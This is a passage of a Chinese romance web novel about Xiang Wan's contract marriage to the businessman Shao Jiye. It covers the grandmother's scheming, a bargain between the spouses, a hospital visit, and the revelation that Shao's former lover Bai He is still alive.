过了好一会儿,邵老太太才缓缓开了口:“向晚,别怪我没有提醒你,你要摆正自己的位置,不要以为阿野给你几分好脸色,就以为他真的喜欢你了。我自己的孙子我自己心里清楚,他是个野心家,不会为任何女人停留。”
向晚神色冷冷的:“奶奶,我明白。我没有觉得邵总会喜欢我,我更不会喜欢上他。”
邵老太太望着天花板,有些顿悟:“不过阿野今天说的那句话也有些道理。倘若当时我没有干预,或许
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他跟那个白荷在一起一段时间后,也就腻了。他的脾气很像他爷爷,多情又无情,爱女人只会爱一阵子,绝不会爱一辈子。”
关于邵老爷子的事,向晚知道的不多。
她只知道邵氏集团是邵老爷子白手起家创办成功的,在他手里就已经是H市的一方巨擘了。
听说是黑道白道都很吃得开,野心勃勃且能力非凡,是那个年代里响当当的一号人物。
邵老太太娘家姓程,家里算是H市的老钱,家世显赫。
邵老爷子的成功,自然也少不了岳父家的支持。
邵老太太叹息了一声:“当初我真不应该拆散他和白荷,要不然事情也不会走到如今这个地步……”
向晚没什么可说的。
她一直保持沉默。
她现在吃的其实是白荷的福利,如果不是因为白荷死在了邵寂野最爱她的时候,自己也不会被选中送来邵寂野身边。
邵老太太突然看向了她,目光变得锐利起来:“向晚,我交代你的事情,你一定要帮我办到。阿野恨我也无所谓,为了邵家,他必须要跟谭璇结婚!”
如果方才邵寂野没有放出那番话,或许她会一口答应。
毕竟,那可是五百万。
可现在,向晚只是笑了笑:“奶奶,您是执棋人,我是棋子,您说要我怎么办,我只能听吩咐。”
邵老太太只当她是答应了,微微放了心:“你放心,事成之后,五百万我一分钱都不会少你的。”
说了一会儿话,邵老太太有些累了。
宁姨回来的时候,手里提着一个保温饭盒:“少奶奶,我只带了老太太一个人的饭。”
向晚从善如流地起身:“奶奶,我就先走了,您好好吃饭好好休息。”
邵老太太不甚在意地挥了挥手,压根不在意她走还是留。
等向晚走出病房,听到里面宁姨压低了声音说道:“老太太,我总觉得向晚这个人不稳当。”
邵老太太冷笑:“她有什么不稳当的?她家里那么一大摊子烂事,不听我的还能听谁的?”
“万一……她倒向了少爷呢?”
第十九章 他这周都快满勤了
邵老太太深思了一会儿,没吭声。
过了好几秒,她才释然地笑了:“那更好。阿野是什么性子,你也清楚。她如果真的被阿野给的那一丁点甜头就给迷得晕头转向了,以后等阿野抛弃她的时候,只会更惨。”
宁姨噗嗤一声笑了:“也是。到那时候,她连五百万都拿不到了。”
“何止?”邵老太太的声音阴恻恻的:“商场如战场,哪有将军会信赖一个背叛原主的俘虏?再说了,阿野是个有成算的,就算不娶谭璇,也会找其他对事业有帮助的女人联姻,会看上她那个破烂似的向家?”
说到这里,宁姨也多了几分底气。
“这倒是,谭家虽然是最好的人选,但也不是唯一的。老太太您放心,少爷也是我看着长大的,他只是不喜欢您什么都给他安排好,但是在事业上,他不会胡来。”
邵老太太心满意足,声音都透着得意:“他是晏城和我的孙子,身上流着我们两个的血,从小他就出类拔萃,自然不会为了儿女情长昏头。”
“是啊,您先吃饭吧,好好养身子,等着以后抱重孙子喽!”
“被你一说啊,我这心里舒服多了。向晚最好是倒向阿野了,将来自有阿野打发她。那五百万省下来,将来给我的重孙子打个金锁!”
宁姨捂着嘴笑:“哎呦喂我的老太太诶,五百万的金锁,别把小少爷的个头压低了!”
“那就打个小木马,给我的小金重孙骑着玩!”
向晚回到浅枫苑的时候,邵寂野没在。
只有锦绣正在捧着一堆卷子做题。
见她回来,锦绣想站起来,却被向晚压了压手阻止了:“你继续看你的书,考研时间不多了,争取一次考上。”
她去了厨房,从冰箱里拿出来一瓶冰水,一饮而尽。
锦绣跟了过来,从她手中夺过瓶子,皱着眉劝道:“太太,您少喝点冷的吧,女孩子喝冷的对身体不好。”
向晚不以为意:“懒得烧热水。”
“您要是再不注意,以后怀孕坐月子也要受罪的。”
向晚顿了一下,摇头说道:“我就没打算以后要结婚生孩子。”
“太太您说什么胡话呢?您都已经结婚了。”
对哦,她现在是邵太太。
锦绣又补充道:“还有,紧急避孕药您也不能这么频繁的吃了,每个周末先生回来两天,您就要吃两次。这周更离谱,都吃了四颗了。这种药对身体的伤害也非常大的。”
向晚转过头,看了看锦绣。
锦绣的身世也很可怜。
山沟沟里出生,父亲残疾,母亲精神病,靠着向晚的资助读完了大学。
后来父母接连去世,她彻底成了孤身一人,索性来了向晚身边。
可是能当姐姐当久了,对于这种自立自强的小姑娘,向晚总是多了一分怜惜。
她鼓励锦绣考研,继续深造,希望她能有更广阔的天地。
“太太?”
向晚说:“我听说好像有个什么皮埋,是长期避孕的,我回头去咨询一下。”
锦绣这才笑开了:“好。”
向晚笑着吐槽:“小管家婆。”
“还有,冷水您也不能再喝了,一会儿我就去把冰箱里的冷水都清理掉。”
回到卧室,里面已经被锦绣收拾的干净整洁了。
昨晚邵寂野闹得实在是凶,床上还不过瘾,非要拉着她去沙发上,最后还要去衣柜里。
他要的急,衣柜里整整齐齐的衣服全都被他扯出来扔了一地,拉着她就躲了进去,弄的整个衣柜哐啷哐啷地响。
向晚真是服了他,每天那么多工作,晚上还会要有精力玩花样。
她去放了水,躺进去泡了个热水澡。
这几天被邵寂野蹂躏到酸楚的四肢被微烫的热水一泡,她舒服地直叹气。
锦绣进来给她送衣服,蹲在浴缸边帮她舀水:“太太,您到底是怎么打算的呀?您跟我通个气,我也好有个打算。”
向晚泡的浑身懒洋洋的,微微掀开眼皮:“你好好考研好好读书,还要怎么打算?”
“今天早上老太太的样子,我也看到了。太太,我说句难听的,老太太也从来没把你当做自己人过,您也千万别犯傻,真把她当靠山了。”
向晚闭上眼,微微勾唇:“可以啊小姑娘,长心眼
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儿了。”
锦绣继续说:“还有,您也千万别相信先生的任何糖衣炮弹。如果他透露出一丁点儿对您的好感,您可千万别信!他这种男人,可不会为了女人牺牲自己的事业。将来真正能坐稳邵太太这个位置的,肯定也是家世很好的。”
向晚闭上眼,微微勾起唇。
锦绣不愧跟了她三年,虽然年龄跟亲妹妹向晴一样大,现在已经能洞察到许多人性了。
不像向晴,从小被父母和姐姐保护的太好,现在还在阿巴阿巴呢。
“你放心,我心里有数。”向晚闭上眼,轻声道:“我心里已经有人了。”
洗完澡出来,天色已经黑透了。
向晚两天没去公司,遗留了一堆事情。
钟灵处理了一些简单的,还有许多都发到了她的邮箱。
她把头发拢起来,用夹子随意地夹在脑后,开始处理工作。
最近邵氏的人员缺口比较大。
邵寂野从去年开始就有意开始发展AI医学领域,她这个人事经理也跟着忙碌起来,开始看猎头推荐过来的各个方面的人才简历。
钟灵初筛了一些,还剩下五六十份,都需要她一个个看完,然后再去圈定人选,找猎头去谈。
她是学艺术出身。
对这些东西原本是一点都不懂的。
后来硬是逼着自己去学,上了好多网课,又找了一些资深的HRBP培训,付出的心力不少。
父亲原本觉得,有他在,两个女儿都可以在他的羽翼下天真快乐的生活。
所以她和妹妹向晴学的都是艺术,跟商场是一点不沾边。
倘若父亲在天之灵能看到她现在的处境,或许当时就会把她送去商学院。
楼下传来锦绣的声音:“先生,您回来了。”
邵寂野“嗯”了一声:“太太呢?”
“太太在书房工作呢,先生您吃过晚饭了吗?需不需要我给您做点?”
邵寂野说:“不用。家里没你的事了,去酒店吧。”
随着他上楼的脚步声响起,向晚的心跳开始不受控地加快。
今天周四了。
他这周都快要满勤了……
第二十章 我就是最好的人选
向晚现在也有点后悔了。
那个温甜甜天真又好骗,还是个恋爱脑,她当时就不应该直接把她打发走,就应该带回家里来藏着。
老太太那边问起,就说是打发了。
反正老太太八百年都不会来一次浅枫苑,只要邵寂野不再没事找事,她肯定是发现不了。
“这么晚了,怎么还在忙?”
邵寂野推开书房的门,身上还穿着上班的时候的正装。
平心而论,他是真的长得不错。
身高腿长倒三角,穿上衣服看不出来,可每次向晚被他压在身下的时候才能感受到那股肌肉虬结的压迫感。
尤其是他的大臂和肩膀,宽厚到向晚抱都抱不住。
脸也是偏向于熟男的深刻与桀骜,从眉毛到眼睛,从鼻梁到下巴,都是刀锋一般的凌厉。
温甜甜这种年轻女大学生,平时见到的顶多也就是打篮球的男同学,但二十出头的男生多多少少脸上还带着一些稚气。
不像邵寂野,不说话的时候威压感十足,做事的时候又野的没边儿,也难怪温甜甜会沦陷。
思索间,邵寂野已经走进了书房,半撑在她身后,把她整个人都虚虚地搂在怀里。
他推了推鼻梁上的金丝眼镜,看了一会儿她的电脑屏幕:“在看简历?”
向晚“嗯”了一声:“这两天耽误了不少工作。”
“人很多,人才却不多,有时候找人才也需要看运气,你也不用急于这一时。”
他说话的时候,喷出的热气就在她耳边。
向晚不经意地往旁边偏了偏头:“那个,你要去洗澡吗?”
邵寂野哼笑了一声:“这么心急?看来以前我真是冷落邵太太了……”
向晚听得浑身发麻,急忙解释说道:“我的意思是,你忙了一天了,早上在医院陪奶奶,下午又赶去公司,洗洗澡能解乏。”
“说的对,邵太太呢,要不要一起?”
向晚接的很快:“不了,我洗过了。”
她的语气,明显带着一丝急切。
急切地想要拒绝他的提议。
邵寂野还是那副玩世不恭的样子,不过脸色已经微微沉了下来:“你就这么不想跟我待在一起吗?”
向晚叹了一口气,说:“我们聊点正事可以吗?”
邵寂野的脸上也再也没有了方才的温存,变得冷硬无比。
他支起身子,站直了身体,也松开了对向晚的亲昵禁锢,抱着手臂冷冷说:“邵太太,我现在不想聊工作。”
“不是工作。”
邵寂野笑了:“不是工作?那我们之间还有什么正事可以聊?”
“你今天在医院里说的那个提议,算不算正事?”
邵寂野闻言微微垂下眸子,对上她的视线:“继续说。”
“我答应你的提议,我会一直把邵太太这个工作做下去,一千万一分都不能少,并且我要求先预付一半,也就是五百万。”
邵寂野没说话,只是用手摩挲着左手无名指上的婚戒,缓缓的转圈:“然后?”
向晚也挺直了腰杆,说出了自己考虑之后的结论:“三年为期,三年之后我们各走各路。”
邵寂野低声哼笑了一声,似乎有些讥讽的意味。
“邵太太,你有什么筹码来跟我谈条件?真的以为你长得像白荷,我就会对你予取予求?”
“我从来没有这么想过,你说的对,没有人能代替另一个人。而且你留我在身边,也不是因为白荷,只是因为你要跟你奶奶拧着来。她让你干什么,你偏不做;她不让你干什么,你就偏要做,我只是你的一个借口,一个工具,或者说……一个脚蹬子。”
邵寂野又笑了:“这样的人选,我可以找很多,不一定要用你。”
“可是这三年来,你选了那么多备选,没有一个比得上我,不是吗?”
这句话一出,邵寂野的眼神顿时变得犀利起来。
向晚知道,她说对了。
今天下午她泡澡的时候,就一直在想一个问题。
邵寂野为什么会突然提出,要让她留在身边。
他身边的女人那么多,不是没有别的选择,就算她长得像白荷,但以她对邵寂野的了解,他绝对不会是感情用事的人。
他做的事,只会是最理智最客观,对他最有利的。
他是爱白荷,但他本性如此,即便白荷再生,也无法左右他的任何决定。
他是个天生的上位者,这辈
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子唯一的一次事与愿违,就是在邵老太太的压迫下,娶了自己。
对他这么一个骄傲的人来说,那才是他一辈子刻骨铭心的耻辱。
他从前身边的那些女人,环肥燕瘦,各型各款,包罗万象。
向晚在脑子里把自己经手过的那些女人都梳理了一遍,漂亮的不够有城府,有脑子的却都有自己的小算盘。
算来算去,最后只有她符合条件。
一方面,她够漂亮也够能忍;另一方面,她也需要邵太太这个名头。
只有利益捆绑才是最稳固的,邵寂野在商场浮沉多年,深谙此道。
从她说出那番话开始,邵寂野就一直盯着她。
目光里闪着奇特的光。
有些讶异,有些欣赏,更多的是警惕。
向晚也毫不避讳地看了回去。
两个人都是聪明人就有这点好,稍微说两句,就能明白对方心里所想。
邵寂野显然也是明白了她的潜台词:除了她向晚,邵寂野找不到更好的合作对象,这就是她的筹码。
良久,邵寂野收回了目光。
他垂着眸,点燃了一支香烟咬在唇齿间,吸了一口,吐出白色的烟圈:“你知道我要什么吗?”
“知道,你要老太太不痛快。”
邵寂野含着烟冷笑:“奶奶把你找来,还真是引狼**,这才三年,你就准备调转枪头,对准了自己的恩人?”
“你不会对奶奶怎么样的,你甚至会给她安排最好的医疗团队,但你心里一直有一口恶气出不了,你要报复她,却不伤害她,只是要让她每件事都事与愿违的滋味。”
邵家祖孙的关系,就像是两只刺猬。
隔得远时,互相觉得是同类;可离得近时,彼此身上的刺都会刺伤对方。
说白了,这祖孙两人都是同一种人,不允许任何人忤逆自己的想法。
邵老太太从前仗着自己的长辈身份和邵寂野还羽翼未丰,强按着他做了自己不喜欢的事,现在,他想以牙还牙。
“我是奶奶带回来放在你身边的。如果我背弃她却选择了你,这样更会让她自食恶果,不是吗?”
向晚胸有成竹地笑道:“邵总,我就是最好的人选。”
第二十一章 你们画画的,不都爱看光着的人?
结婚三年,他们之间最多的交往就是在床上。
不管是一开始他把对白荷的思念都宣泄在她身上,还是温甜甜走后他身边没有了女人不得不回家找她解决需求,他们之间的沟通仅限于身体,从未触及心灵。
向晚也是观察了三年,才终于确定了邵寂野和邵老太太之间这种离不得也处不好的拧巴关系。
他们是彼此在这个世界上唯一的亲人,却永远没有办法和平共处。
两个人都想彻底掌权,就意味着一定会有冲突。
向晚想明白了这个道理,心里反而坦然了许多。
她淡淡开了口:“邵总觉得我的提议怎么样?”
邵寂野忽而冷笑了一声:“说完了?”
“说完了。”
邵寂野面无表情,不置可否:“说完了就给我画一幅画吧。”
向晚愣了一下:“什么?”
她还是弄不清这个男人的脑回路。
“你不是学油画的么?反正你不想陪我睡觉,那就给我画画。”
……
向晚已经三年没有拿起过画笔了。
家里也没有油画布和颜料,甚至连像样的画笔都没有。
邵寂野拖过来一个椅子,在她对面坐下,轻声说:“有纸有笔,画素描就行。”
向晚深吸了一口气:“我一开始就学的油画,没怎么学过素描。”
“不都是画画?”
向晚意识到,跟这么一个商业怪物谈艺术,真的好比对牛弹琴。
于是她说:“那我画的不好你别怪我。”
邵寂野仍旧咬着烟,半开玩笑似的说道:“画得不好就把你打入冷宫。”
向晚想了想,觉得冷宫也没什么不好。
冷宫里的皇后也是皇后,而且冷宫里还不用侍寝,她反倒清净。
她随意从手边的笔记本里撕下一页纸,边沿豁豁牙牙,像是狗啃的一样。
纸上还有一道一道的横线,根本不是白纸。
她把纸在桌上铺平,“你想要全身像还是半身像?”
“随便。”
“正面还是侧面。”
“都行。”
“好,那我开始画了。”
“等一下。”
邵寂野站了起来,脱掉了自己的西装外套随意扔在角落的小沙发上,然后开始动手解自己的衬衫,然后是西裤的皮带。
向晚察觉到一丝不寻常的气息:“你……”
邵寂野眼中却是一派正气,还有些鄙视她的思想太过污浊:“你们画画的,不都爱画光着的人么。”
向晚立刻反驳:“谁说的?蒙娜丽莎衣服穿的好好的。”
“你没画过光的人?”
“没。”
邵寂野嗤她:“你给秦以枫画的那幅画,我可是看过的。”
向晚微微一怔,“你在哪儿看的?”
“你二叔是真没钱了,那幅画都拿出去卖。”
向晚腾的一下站了起来。
那幅画她画完之后,一直放在自己的房间里。
后来二叔登堂**,她的东西基本都被二婶卖了或者扔了。
只有那幅画,她跪在地上求了二叔许久,他才同意“暂存”。
为此,她还答应了二叔每年五万块的“保管费”。
“他拿去哪里卖了?卖了多少钱?”
“想知道?”他用下巴点了点她面前的纸:“好好给我画,画完告诉你。”
向晚眼看着他拉拉链的动作,赶紧阻止:“只露上半身就好。”
“秦以枫也只露了上半身?”
向晚狐疑:“你不是看过了么……”
“骗你的,”邵寂野咬着烟,一脸得逞地坏笑:“邵太太还挺纯。”
向晚顿时有些气不打一处来。
合着根本就没有二叔卖画这件事?!
他就是纯纯为了诈她?
向晚气不顺:“邵总,你这样谎话连篇,以后可没人敢信任你了。”
邵寂野却反以为荣:“这叫兵不厌诈,邵太太你还是当个艺术家的好,在商场上早就被啃的骨头渣滓都不剩。”
“我也没想进商场。”
“你爸爸留下的公司,你拿回来之后难道准备改成画廊?”
向晚一窒。
好在,邵寂野终究是停了手,没有继续脱。
他光着上身,肌肉的线条在灯光下显得格外坚实,隐隐透着一股蓄势待发的力量。
他缓缓坐下,给了向晚一个侧面:“向大师,画吧。”
向晚之前画秦以枫,是他的背面。
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>秦以枫的身材有些精瘦,骨骼感很强,向晚利用光影和颜料的浓淡,把他的身形勾勒地十分精壮。
但邵寂野不同。
他也瘦,但整个上半身全都是浑厚的肌肉,完全看不出骨骼的纹理。
尤其是侧坐的情况下,肩膀宽厚,眼神锐利,一手随意的搭在椅背上,另一手捏着烟,随意地放在嘴里。
即便他现在松弛感拉满,向晚满脑子都是那一双铁一样的臂膀紧紧箍着自己的腰,逼着她贴近他,几乎要把她整个吞噬进身体里……
“好了。”
五分钟后,一幅简笔素描就新鲜出炉。
邵寂野手上的烟已经抽完,走过来拿起桌上那张纸,眯起眼睛反复端详。
向晚毕竟从小学画,即便没怎么画过素描,毕竟有功底在,画的又快又好。
邵寂野盯着画看了好一会儿,却没什么表示。
向晚说:“邵总还满意吗?”
邵寂野暧昧一笑:“还不错,下次画个全身照,我找人装裱了挂床头。”
“那装裱师傅可全都看见了。”
“怕什么,我的条件,男人看到了只会觉得自卑。还是说……邵太太担心装裱的是女师傅?”
向晚立刻否认三连:“就凭邵总您的姿色,不用脱光也一样有女人投怀送抱,又何必在意装裱师傅是不是女人?”
邵寂野挑眉,把画放回原位后就来拉她的手:“向晚,过来。”
向晚像是触电似的弹开了:“干什么?不是说画画就行了,不用上床的……”
邵寂野也没料到她的反应这么大。
他的手被她重重打开,僵在半空。
向晚有些尴尬,清了清嗓子:“我今天真有点累了。”
“我知道,”邵寂野深吸了一口气,徐徐吐出,脸色微沉:“我只是想带你去医院。”
向晚愣了:“去医院干什么?这个时候奶奶应该已经睡了。”
邵寂野从地上捡起自己的衣服,按部就班地往自己身上套:“那天你在谭家突然呕吐,还是去找医生看看比较保险。”
向晚这才意识到,他今天为什么放过她,不拉着她往床上扔,反而让她画画。
他是怀疑自己怀孕了。
第二十二章 白荷没死
邵寂野做的决定,谁都别想改变。
向晚终究还是被他拉着出了门。
到了医院,直奔妇产科。
邵寂野却被拦在了门外。
夜间的值班护士非常敬业:“抱歉先生,妇产科是不允许男士进入的,您可以在这里稍等您太太一会儿。”
邵寂野点了点头,示意向晚跟护士进去。
因为是晚上,妇产科的人不多。
护士指引着向晚去了采血窗口,一边走一边有些羡慕地对向晚说道:“你们可真恩爱啊,您先生不放心,一直在门口看着,还怕我们把您吃了不成?”
向晚回头看了一眼,只见邵寂野似乎在接电话,他说了两句,然后转身大踏步的离开。
向晚笑了笑,说:“你看错了吧。”
小护士坚持说道:“刚刚他的确是在看您,眼神温柔地不行,我看得一清二楚。”
向晚反正是不信的。
邵寂野这种人,满肚子的阴谋算计,仅有的那一丝丝情丝,也都给了白荷,随着白荷的死也彻底消弭殆尽了。
“女士,这边请。”
向晚在采血窗口坐下,卷起袖子。
针尖刺入皮肤的那一刹那,她微微蹙了蹙眉。
“按压五分钟。”
“好。”向晚问:“什么时候可以出结果?”
检验科的医生说:“半小时后,你可以坐在外面等。”
向晚按着棉签走出妇产科的时候,外面走廊没有人,邵寂野不在。
她又往外看了看,发现他此时正站在一个路灯下打电话,昏黄的灯光把他原本就颀长的身形拉的老长。
只是似乎正在接通的这个电话并不是什么好消息,他拧着眉心,脸色也不太好看。
向晚十分有自知之明的没有过去,找了个比较近的座椅坐下,习惯性的看手机。
钟灵又给她发了几份简历;
妹妹给她发了自己音乐会的照片;
还有一个陌生的好友申请。
向晚点开这个陌生头像,发现居然是威廉。
她顿了一下,还是点了同意。
几乎是同时,威廉的消息立马发了过来:【嗨宝贝,还记得我吗?】
向晚单手不好打字,只回了一个【嗯。】
威廉却丝毫不觉得什么,继续热情地发消息:【头晕好点了吗?听说你吐的很严重,我咨询了一声,他说你这是轻微耳石症,不是什么大问题,以后出门可以准备点晕车药。】
向晚有些震惊于他的打字速度。
【你中文不错。】
【哈哈哈谢谢夸奖,你的画也很美。这些年有什么新作品吗?不知道我有没有这个荣幸欣赏一下?】
那恐怕就不是惊喜,是惊吓了。
她仅有的两幅人像画,全是裸男。
向晚选择岔开话题:【你从哪里知道我的微信?】
【我表姐啊。】
对了,威廉是徐艺珍的表弟。
向晚打了个电话给徐艺珍。
对面接的很快,就是说话的时候仿佛嘴张不开,瓮声瓮气的:“怎么啦宝儿?这么晚给我打电话。”
向晚听出一些不对劲,试探着问道:“你……这会儿方便说话吗?”
那边传来一阵窸窸窣窣的声音。
还有徐艺珍的轻嗔:“哎呀你等会儿,我朋友电话……”
过了一两分钟,徐艺珍才扬声问道:“这会儿没事了,你说。”
“我是不是打扰到你了?”
“哈哈哈,问题不大。对了,你跟邵寂野那天到底怎么回事啊?现在圈子里传得沸沸扬扬的,说他还挺宝贝你。我寻思不应该啊,他那种人,冷心冷肺的,怎么可能。宝儿,事出反常必有妖,这家伙不知道肚子里憋着什么坏水儿呢,你可千万别被他利用了。”
向晚沉吟了一下,问道:“你那天说,你有个小姐妹为了他要死要活,是怎么回事儿啊?”
“你问这个干嘛呀?不是,宝儿,你不会真的对他用了真心了吧?”
“没有,”向晚沉声道:“我知道轻重。”
“也是,我认识你那会儿,你就有爱人的。”
徐艺珍缓了缓,说道:“我以前有个小姐妹,叫白荷。长得跟你有点像,但是没你漂亮,属于清秀那一挂的。好像是有一次邵寂野路过她们学校,不知道怎么就开始追她了。邵寂野那个皮囊,你懂得,还是挺能打的,而且他又有钱,还挺用心,慢慢的我小姐妹就沦陷了。”
向晚有点震惊。
白荷居然是徐艺珍的小姐妹?
“然后呢?”
“然后两个人就在一起了呗,恋爱谈的那叫一个惊天地
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泣鬼神,山无棱天地合,跟琼瑶剧似的,又肉麻又甜。但是他们家老太太不同意啊,找白荷聊了好几次,要给她钱让她离开邵寂野。但白荷也是个死脑筋,真的是恋爱脑上头,说什么都不愿意跟邵寂野分开。对了,昨天我还跟她通过电话呢,这都三年了,她都没走出来,天天哭。”
向晚再一次震惊了:“白荷……没死?”
“没啊,我说的是要死要活,又不是真的**。”
“可是……”
“可是什么?”
向晚感觉自己好像无意中窥探到了邵寂野的一个大秘密。
“艺珍,白荷现在住在哪你知道吗?”
“唔,不太清楚诶。三年前她遇到了车祸,后来有一阵子音讯全无,邵寂野好像挺伤心的样子。我还以为出什么事了呢,但后来白荷主动联系了我,说是一个人有点无聊,想找我说说话,东拉西扯地聊了一会儿,但我能听出来,她的情绪挺低落的。可能是因为……邵寂野结婚了吧。”
说到这个,徐艺珍调子高了些:“我一直在国外,倒是听说邵寂野结婚了,但是怎么也没想到,他结婚的对象居然是你啊!”
向晚心里有事,按着棉签的手不自觉的划开了。
路过的护士看到了,连忙跑了过来:“女士,您没按对地方呀!”
向晚低头看了看,果然,针眼的位置已经凝了一个血珠。
她用棉签把血珠吸掉,重新按好。
“谢谢,刚刚没注意。”
小护士笑着说:“幸好您丈夫不在,不然可要心疼了。对了,他人呢?”
“有事,出去打个电话。”
“哦哦。”
电话里,徐艺珍追问道:“宝儿,你在医院?你怎么了?没事吧?”
“没事,”向晚说:“艺珍,我先挂了。”
“你去医院有人陪你吗?要不我让威廉去接你?那家伙要是听说能见到你,怕是巴不得呢!”
“不用了,有人陪我。”
“谁呀?”
向晚看向窗外,邵寂野的电话依旧在继续。
只是此时的他表情已经不是那么紧绷,反而是温柔舒朗的,他把手机换了个手,轻声跟对面说着什么。
向晚读懂了他的唇语。
他说的应该是:“我也想你。”
第二十三章 敢绿我就试试看
又过了十几分钟,邵寂野终于回来了。
看到坐在休息区的向晚,低声问道:“做完检查了?出结果了吗?”
“还没。”
邵寂野拢了拢外套,在她身边坐下。
向晚说:“我没怀孕。”
邵寂野说:“我知道。你上次说了,你一直在吃药”
“你既然知道,还带我来检查?”
邵寂野半是玩笑半是认真:“我不信任任何人。”
向晚的心微微沉下去。
她收回目光,轻声说道:“你放心,我没有那么不自量力,觉得自己能成为邵家继承人的妈,我对自己的定位很有逼数。”
“是心里有数,还是心有所属?”
向晚回头,对上他的视线:“邵先生,我们两个现在应该算是合作关系了吧?”
邵寂野目光流转,点头。
“这三年里,我会履行约定,当好这个邵太太。”
邵寂野挑眉:“你要是敢绿我,我保证秦以枫活不过明天。”
向晚猛地回头看他。
邵寂野指了指远处:“你的检查结果出来了。”
护士拿着报告单走了出来:“先生,太太,结果出来了,这位女士没有怀孕。”
邵寂野接了过来,扫了一眼之后,绅士地说道:“好,谢谢。”
小护士笑的眉眼弯弯:“你们夫妻两个颜值真高啊,要是生个宝贝,肯定特别好看!不过你们也不用着急,看你们这么恩爱,一定很快就能怀孕的。”
邵寂野点头:“嗯,借你吉言。”
离开妇产科,向晚只想赶紧回家睡觉。
可邵寂野却拖着她又上了一层,直奔中医科。
向晚无语:“邵总,这又是要干什么?不会是像宫斗剧一样,让中医给我配一副药,以后永远不能怀孕了吧?”
邵寂野嗤了她一句:“少看点没营养的东西。”
进了中医诊室,里面坐诊的是一个上了年纪头发花白的老中医。
一看就是很有资历的那种。
邵寂野显得很恭敬:“您好医生,麻烦帮我太太看看。”
老中医戴上了老花镜,询问向晚:“你哪里不舒服?”
向晚没什么不舒服。
邵寂野直接回答:“肠胃。”
老中医点了点头,给向晚号了脉。
“体质有些寒凉,平时是不是总吃冰的?这对肠胃伤害很大。”
邵寂野回答的很快:“我太太总是懒得烧水,总是喝冰箱里的瓶装水。”
“那就是了,以后多注意保暖,多喝热水。”
邵寂野又问道:“她前两天突然呕吐,刚去查了不是怀孕,是不是跟肠胃有关?需不需要开点药调理一下?”
老中医沉吟了一下,问道:“你太太的月事呢,准吗?”
“不太准,每个月都会提前一周左右,偶尔也会停一个月,”邵寂野说:“而且每次来月事都不舒服,脸色很苍白,还要吃布洛芬止痛。”
老中医叹了口气:“止痛药只是麻痹神经的,并不是治病的,经常吃对身体不好。你不能总是纵着她了,再这么下去,以后怀孕生产也会受罪的。”
“好,我知道了,麻烦您开个方子吧。”
老中医开好了方子交给他:“调理是个长期过程,先喝一个月看看。”
邵寂野把方子小心地收了起来:“好,谢谢。”
终于离开医院的时候,邵寂野发动了车子。
向晚坐在副驾驶,依旧觉得很疑惑。
似乎是注意到她的视线,邵寂野目不斜视,驾驶着车子离开医院停车场,划入车流:“别看我,看路。”
向晚问道:“你是怕我还没帮你办完事就**了?”
邵寂野继续调侃:“血崩而死吗?”
“不然为什么带我去看中医,还给我开方子调理身体。总不能是你真的想让我给你生个孩子吧?”
邵寂野沉默着,没说话。
向晚立刻说:“我开玩笑的,你放心,明天我就来医院做皮埋。”
“皮埋是什么?”
“长期避孕。”向晚说:“这样你也能更放心一些……”
滴滴——
邵寂野忽然猛按了两下喇叭,整个人似乎突然变得很暴躁。
向晚看着他越来越沉下来的脸色,不由得问道:“你干什么?大晚上的路上都没其他车。”
“刚有只野猫跑过去了。”
“真的吗?”向晚看着这条双向十车道的主干道:“流浪猫应该不会来这种地方吧?”
邵寂野冷哼:“谁知道它哪根筋不对。”
这人实在是喜怒无常。
向晚放弃跟他沟通,索性闭着眼睛休息。
不知道是不是她的错觉,邵寂野今天车开得很平稳,不再像刚才那么暴躁了。
车内气温比较温暖,向晚慢慢的有些意识模糊,半梦半醒。
她好像梦到了小时候,
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爸爸和妈妈带着她和妹妹向晴一起出去玩。
过了一会儿,又梦到了她在国外的时候,她背着画板去了一片向日葵花田。
她画的投入,没有注意到旁边有个人。
他好像是个摄影师,拍下了她画画的样子。
她也不怎么介意,笑着问他:“照片洗出来可以寄给我一张吗?”
那人摇头,冷漠得走掉了。
搞艺术的脾气都比较古怪,向晚也没放在心里,只当是个外出写生的小插曲。
她甚至都有些不记得那个摄影师长什么样子了。
但在梦里,他顶着一张邵寂野的脸。
向晚顿时吓醒了。
“做噩梦了?”
向晚回过神来,才发现不知道什么时候已经回了家。
她已经换上了睡衣,躺在主卧的床上,连盘起的头发都已经被散开。
“什么时候回来的?”
邵寂野穿着蓝色丝绸开口睡衣,正半靠在床头,他带着一副金丝眼镜,手指在笔记本电脑上敲敲点点:“你这一觉睡得够沉的,外面打雷都没吵醒你。”
向晚看向窗户的方向,虽然窗帘已经被拉上了,但隐隐还能听到外面的风声和雨声。
“现在几点了?”
“凌晨两点。”
“你抱我上来的?”
“没,你会轻功。”
向晚已经习惯了他时不时来一句冷笑话,叹了口气,躺了回去。
邵寂野把笔记本合上,轻声问道:“梦到谁了,吓成这个样子?”
“梦到你了。”
“我有这么可怕吗?”
向晚点了点头。
邵寂野的声音微微有些低沉:“我又不会吃了你,也不知道你在怕些什么。”
“不知道,可能人对于看不懂的人和事都会产生本能的恐惧吧。”
邵寂野的声音柔了许多,往下跟她并排躺着,轻声问道:“我在梦里对你做什么了?”
“也没做什么。”
“你就这么怕我?”
向晚今天也不知道怎么了,困得厉害。
说了几句话,睡意再次占据了她的意识。
她迷蒙着,敷衍道:“梦见你是恶鬼,要吸干我的血。”
再后来,她就坠入了黑沉的梦乡。
不知道是梦还是她的错觉。
额头传来温柔而濡湿的吻。
还有邵寂野低声的轻叹:“恶鬼就恶鬼吧,总归现在进入你梦境的人是我了。”
第二十四章 昨晚睡素的
向晚的生物钟很准。
第二天早上七点,还是准时睁开了眼睛。
床边已经没有人了,邵寂野没在,估计是又晨跑去了。
看他那一身腱子肉,应该是常年有健身的习惯。
但这三年来邵寂野基本不怎么住家里,只有周末回家办事。
而通常都得弄到后半夜,反正第二天也不用起床,向晚睡得根本醒不过来,连邵寂野什么时候走的都不是很清楚。
平时家里几乎只有她和锦绣两个人。
在锦绣面前,向晚也懒得收拾自己,迷蒙着一张脸,穿着睡衣就拉开了门。
正好撞上正在往这边走的锦绣。
“太太,你醒了?卧室……要收拾么?”
向晚没睡够,还有些晕晕沉沉的,她活动了一下脖子,只觉得昨晚这一觉睡得实在是昏天黑地。
她其实有些庆幸,多亏了昨晚睡得早,不然邵寂野估计还要闹。
她有些疲惫地小声抱怨:“今天不用了,昨晚睡素的。”
锦绣往卧室里探头看了一眼,有些奇怪:“先生也同意?”
向晚听得心里更是不得劲:“我也是个大活人,我也有拒绝的权利吧?”
